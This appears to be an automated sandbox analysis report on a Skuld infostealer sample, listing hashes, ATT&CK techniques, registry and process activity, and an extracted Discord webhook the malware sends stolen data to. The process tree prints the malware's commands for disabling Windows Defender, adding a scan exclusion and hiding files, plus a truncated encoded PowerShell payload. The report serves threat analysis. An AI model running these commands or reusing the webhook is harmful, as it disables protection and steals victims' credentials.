skuld | 0bf404afce27bee5cd8e9b2f15077d8e4caf1058f94f23aa220d2958081571f3

Analysis

max time kernel
150s
max time network
108s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17-10-2024 02:53

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General

Target

91E7G_skuld.exe
Size

9.8MB
MD5

c3861650fea820473f9d2b62ea6f2121
SHA1

a84f38e3cd2fc945025b4a236a7828e1c03ce464
SHA256

0bf404afce27bee5cd8e9b2f15077d8e4caf1058f94f23aa220d2958081571f3
SHA512

252ec0bf7874097a62ec3890b7a0ee1fe57b6114984b485aea9b0ccaa37e612634a99782270d9a02c5592fc29013232406b2ab20c472fa82f7167a06ad30b046
SSDEEP

98304:O+qtUJ+MVZ9KEbw3rfpE6rZutEXW6BJZrZ6SBrdfeQcR:O+5+MVcTpE6rY+jHBRfm

Score

10^/10

skuld credential_access defense_evasion discovery execution persistence spyware stealer

Malware Config

Extracted

Family

skuld

https://discord.com/api/webhooks/1296303576926392341/Tps4IgItsbgFfWRvv3V4xHZLBkpTksuf0TRo-aCAjDLIRCDca1thaJLZfnJ5idvleHuN

Signatures

Skuld stealer
An info stealer written in Go lang.
stealer skuld
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2776 powershell.exe
2332 powershell.exe

pid	process
2776	powershell.exe
2332	powershell.exe

Drops file in Drivers directory 3 IoCs

Processes:

attrib.exe91E7G_skuld.exeattrib.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	91E7G_skuld.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

91E7G_skuld.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	91E7G_skuld.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

6 discord.com
10 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

12 ip-api.com
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 13 Go-http-client/1.1

flow	ioc
6	discord.com
10	discord.com

flow	ioc
12	ip-api.com

description	flow	ioc
HTTP User-Agent header	13	Go-http-client/1.1

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

91E7G_skuld.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	91E7G_skuld.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	91E7G_skuld.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	91E7G_skuld.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	91E7G_skuld.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	91E7G_skuld.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	91E7G_skuld.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

91E7G_skuld.exepowershell.exepowershell.exepowershell.exe

pid	process
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
2332	powershell.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
2332	powershell.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
2776	powershell.exe
2776	powershell.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
2368	powershell.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
2368	powershell.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe
3752	91E7G_skuld.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

91E7G_skuld.exewmic.exepowershell.exepowershell.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	3752	91E7G_skuld.exe
Token: SeIncreaseQuotaPrivilege	3412	wmic.exe
Token: SeSecurityPrivilege	3412	wmic.exe
Token: SeTakeOwnershipPrivilege	3412	wmic.exe
Token: SeLoadDriverPrivilege	3412	wmic.exe
Token: SeSystemProfilePrivilege	3412	wmic.exe
Token: SeSystemtimePrivilege	3412	wmic.exe
Token: SeProfSingleProcessPrivilege	3412	wmic.exe
Token: SeIncBasePriorityPrivilege	3412	wmic.exe
Token: SeCreatePagefilePrivilege	3412	wmic.exe
Token: SeBackupPrivilege	3412	wmic.exe
Token: SeRestorePrivilege	3412	wmic.exe
Token: SeShutdownPrivilege	3412	wmic.exe
Token: SeDebugPrivilege	3412	wmic.exe
Token: SeSystemEnvironmentPrivilege	3412	wmic.exe
Token: SeRemoteShutdownPrivilege	3412	wmic.exe
Token: SeUndockPrivilege	3412	wmic.exe
Token: SeManageVolumePrivilege	3412	wmic.exe
Token: 33	3412	wmic.exe
Token: 34	3412	wmic.exe
Token: 35	3412	wmic.exe
Token: 36	3412	wmic.exe
Token: SeDebugPrivilege	2332	powershell.exe
Token: SeIncreaseQuotaPrivilege	3412	wmic.exe
Token: SeSecurityPrivilege	3412	wmic.exe
Token: SeTakeOwnershipPrivilege	3412	wmic.exe
Token: SeLoadDriverPrivilege	3412	wmic.exe
Token: SeSystemProfilePrivilege	3412	wmic.exe
Token: SeSystemtimePrivilege	3412	wmic.exe
Token: SeProfSingleProcessPrivilege	3412	wmic.exe
Token: SeIncBasePriorityPrivilege	3412	wmic.exe
Token: SeCreatePagefilePrivilege	3412	wmic.exe
Token: SeBackupPrivilege	3412	wmic.exe
Token: SeRestorePrivilege	3412	wmic.exe
Token: SeShutdownPrivilege	3412	wmic.exe
Token: SeDebugPrivilege	3412	wmic.exe
Token: SeSystemEnvironmentPrivilege	3412	wmic.exe
Token: SeRemoteShutdownPrivilege	3412	wmic.exe
Token: SeUndockPrivilege	3412	wmic.exe
Token: SeManageVolumePrivilege	3412	wmic.exe
Token: 33	3412	wmic.exe
Token: 34	3412	wmic.exe
Token: 35	3412	wmic.exe
Token: 36	3412	wmic.exe
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeIncreaseQuotaPrivilege	4412	wmic.exe
Token: SeSecurityPrivilege	4412	wmic.exe
Token: SeTakeOwnershipPrivilege	4412	wmic.exe
Token: SeLoadDriverPrivilege	4412	wmic.exe
Token: SeSystemProfilePrivilege	4412	wmic.exe
Token: SeSystemtimePrivilege	4412	wmic.exe
Token: SeProfSingleProcessPrivilege	4412	wmic.exe
Token: SeIncBasePriorityPrivilege	4412	wmic.exe
Token: SeCreatePagefilePrivilege	4412	wmic.exe
Token: SeBackupPrivilege	4412	wmic.exe
Token: SeRestorePrivilege	4412	wmic.exe
Token: SeShutdownPrivilege	4412	wmic.exe
Token: SeDebugPrivilege	4412	wmic.exe
Token: SeSystemEnvironmentPrivilege	4412	wmic.exe
Token: SeRemoteShutdownPrivilege	4412	wmic.exe
Token: SeUndockPrivilege	4412	wmic.exe
Token: SeManageVolumePrivilege	4412	wmic.exe
Token: 33	4412	wmic.exe
Token: 34	4412	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

91E7G_skuld.exepowershell.exe

description	pid	process	target process
PID 3752 wrote to memory of 1780	3752	91E7G_skuld.exe	attrib.exe
PID 3752 wrote to memory of 1780	3752	91E7G_skuld.exe	attrib.exe
PID 3752 wrote to memory of 2332	3752	91E7G_skuld.exe	powershell.exe
PID 3752 wrote to memory of 2332	3752	91E7G_skuld.exe	powershell.exe
PID 3752 wrote to memory of 3412	3752	91E7G_skuld.exe	wmic.exe
PID 3752 wrote to memory of 3412	3752	91E7G_skuld.exe	wmic.exe
PID 3752 wrote to memory of 524	3752	91E7G_skuld.exe	attrib.exe
PID 3752 wrote to memory of 524	3752	91E7G_skuld.exe	attrib.exe
PID 3752 wrote to memory of 2776	3752	91E7G_skuld.exe	powershell.exe
PID 3752 wrote to memory of 2776	3752	91E7G_skuld.exe	powershell.exe
PID 3752 wrote to memory of 4412	3752	91E7G_skuld.exe	wmic.exe
PID 3752 wrote to memory of 4412	3752	91E7G_skuld.exe	wmic.exe
PID 3752 wrote to memory of 2368	3752	91E7G_skuld.exe	powershell.exe
PID 3752 wrote to memory of 2368	3752	91E7G_skuld.exe	powershell.exe
PID 3752 wrote to memory of 2564	3752	91E7G_skuld.exe	attrib.exe
PID 3752 wrote to memory of 2564	3752	91E7G_skuld.exe	attrib.exe
PID 3752 wrote to memory of 2164	3752	91E7G_skuld.exe	attrib.exe
PID 3752 wrote to memory of 2164	3752	91E7G_skuld.exe	attrib.exe
PID 2368 wrote to memory of 4364	2368	powershell.exe	csc.exe
PID 2368 wrote to memory of 4364	2368	powershell.exe	csc.exe

Views/modifies file attributes 1 TTPs 4 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exeattrib.exeattrib.exe

pid process

2564 attrib.exe
2164 attrib.exe
1780 attrib.exe
524 attrib.exe

pid	process
2564	attrib.exe
2164	attrib.exe
1780	attrib.exe
524	attrib.exe

C:\Users\Admin\AppData\Local\Temp\91E7G_skuld.exe
"C:\Users\Admin\AppData\Local\Temp\91E7G_skuld.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3752
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\91E7G_skuld.exe
  2⤵
  - Views/modifies file attributes
  PID:1780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\91E7G_skuld.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2332
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3412
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2776
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgA